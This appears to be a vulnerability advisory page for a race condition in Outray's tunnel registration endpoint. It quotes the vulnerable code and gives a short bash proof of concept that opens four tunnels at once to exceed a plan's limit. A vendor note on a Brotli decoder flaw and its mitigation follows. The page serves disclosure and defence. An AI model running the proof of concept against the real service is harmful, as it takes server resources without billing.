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CVE-2026-22820

ExploitedNVDCIRCLENISA

EUVD-2026-2015 · Published Jan 13, 2026

Outray cli is vulnerable to race conditions in tunnels creation

Summary

A TOCTOU race condition vulnerability allows a user to exceed the set number of active tunnels in their subscription plan.

Details

Affected conponent: apps/web/src/routes/api/tunnel/register.ts

  • /tunnel/register endpoint code-:
// Check if tunnel already exists in database
          const [existingTunnel] = await db
            .select()
            .from(tunnels)
            .where(eq(tunnels.url, tunnelUrl));

          const isReconnection = !!existingTunnel;

          console.log(
            `[TUNNEL LIMIT CHECK] Org: ${organizationId}, Tunnel: ${tunnelId}`,
          );
          console.log(
            `[TUNNEL LIMIT CHECK] Is Reconnection: ${isReconnection}`,
          );
          console.log(
            `[TUNNEL LIMIT CHECK] Plan: ${currentPlan}, Limit: ${tunnelLimit}`,
          );

          // Check limits only for NEW tunnels (not reconnections)
          if (!isReconnection) {
            // Count active tunnels from Redis SET
            const activeCount = await redis.scard(setKey);
            console.log(
              `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,
            );

            // The current tunnel is NOT yet in the online_tunnels set (added after successful registration)
            // So we check if activeCount >= limit (not >)
            if (activeCount >= tunnelLimit) {
              console.log(
                `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,
              );
              return json(
                {
                  error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? "s" : ""}.`,
                },
                { status: 403 },
              );
            }
            console.log(
              `[TUNNEL LIMIT CHECK] ALLOWED - ${activeCount} < ${tunnelLimit}`,
            );
          } else {
            console.log(`[TUNNEL LIMIT CHECK] SKIPPED - Reconnection detected`);
          }

          if (existingTunnel) {
            // Tunnel with this URL already exists, update lastSeenAt
            await db
              .update(tunnels)
              .set({ lastSeenAt: new Date() })
              .where(eq(tunnels.id, existingTunnel.id));

            return json({
              success: true,
              tunnelId: existingTunnel.id,
            });
          }

          // Create new tunnel record
          const tunnelRecord = {
            id: randomUUID(),
            url: tunnelUrl,
            userId,
            organizationId,
            name: name || null,
            protocol,
            remotePort: remotePort || null,
            lastSeenAt: new Date(),
            createdAt: new Date(),
            updatedAt: new Date(),
          };

          await db.insert(tunnels).values(tunnelRecord);

          return json({ success: true, tunnelId: tunnelRecord.id });
        } catch (error) {
          console.error("Tunnel registration error:", error);
          return json({ error: "Internal server error" }, { status: 500 });
        }
  • It checks if the tunnel exists in the database.
// Check if tunnel already exists in database
          const [existingTunnel] = await db
            .select()
            .from(tunnels)
            .where(eq(tunnels.url, tunnelUrl));

          const isReconnection = !!existingTunnel;
  • Limit is checked here-:
// Check limits only for NEW tunnels (not reconnections)

if (!isReconnection) {

// Count active tunnels from Redis SET

const activeCount = await redis.scard(setKey);

console.log(

`[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,

);
  • Redis is checked for existing tunnel to check for reconnection.
// Check limits only for NEW tunnels (not reconnections)
          if (!isReconnection) {
            // Count active tunnels from Redis SET
            const activeCount = await redis.scard(setKey);
            console.log(
              `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,
            );
  • If the tunnel limit is exceeded, it pops up the tunnel limit error.
if (activeCount >= tunnelLimit) {
              console.log(
                `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,
              );
              return json(
                {
                  error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? "s" : ""}.`,
                },
                { status: 403 },
              );
  • If the limit is not exceeded, it triggers a the Insert Statement without locking transactions from other request
await db.insert(tunnels).values(tunnelRecord);
  • If parallel requests are made by the wshandler in /outray/outray-main/apps/tunnel/src/core/WSHandler.ts from the command line app. A request can work on a non updated row because the insert row has not been triggered allowing the user to bypass the limit. It is much explained in the proof of concept. The key takeaway is db transactions should remain locked.
PoC

Using this simple bash script, the outray binary will be run at the same time in one tmux window, demonstrating the race condition and opening 4 tunnels.

#!/usr/bin/env bash

# POC for Outray Tunnel Race condition
SESSION="outray-race"
PORTS=(8090 4000 5000 6000)

# Create new detached tmux session
tmux new-session -d -s "$SESSION" "echo '[*] outray race session started'; bash"

# Split the panes and run outray
for i in "${!PORTS[@]}"; do
  port="${PORTS[$i]}"

  if [ "$i" -ne 0 ]; then
    tmux split-window -t "$SESSION" -h
    tmux select-layout -t "$SESSION" tiled
  fi

  tmux send-keys -t "$SESSION" "echo '[*] Running outray on port $port'; outray $port" C-m
done

tmux set-window-option -t "$SESSION" synchronize-panes off

echo "[+] tmux session '$SESSION' created"
echo "[+] Attach with: tmux attach -t $SESSION"

Running this

seeker@instance-20260106-20011$ bash kay.sh
[+] tmux session 'outray-race' created
[+] Attach with: tmux attach -t outray-race

seeker@instance-20260106-20011$ tmux attach -t outray-race

<img width="1909" height="1021" alt="image" src="https://github.com/user-attachments/assets/c234cc94-fc25-4542-abdf-815332493a85" />

<img width="1907" height="936" alt="image" src="https://github.com/user-attachments/assets/1c302d7f-1ca6-46af-ab72-60fd01cdfded" />

Impact

By exploiting this TOCTOU race condition in the affected component, the intended limit is bypassed and server resources is used with no extra billing charges on the user.

Technologies

Outray Outray

Weaknesses

CWE-367

CVSS scores

  • v3.13.7CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

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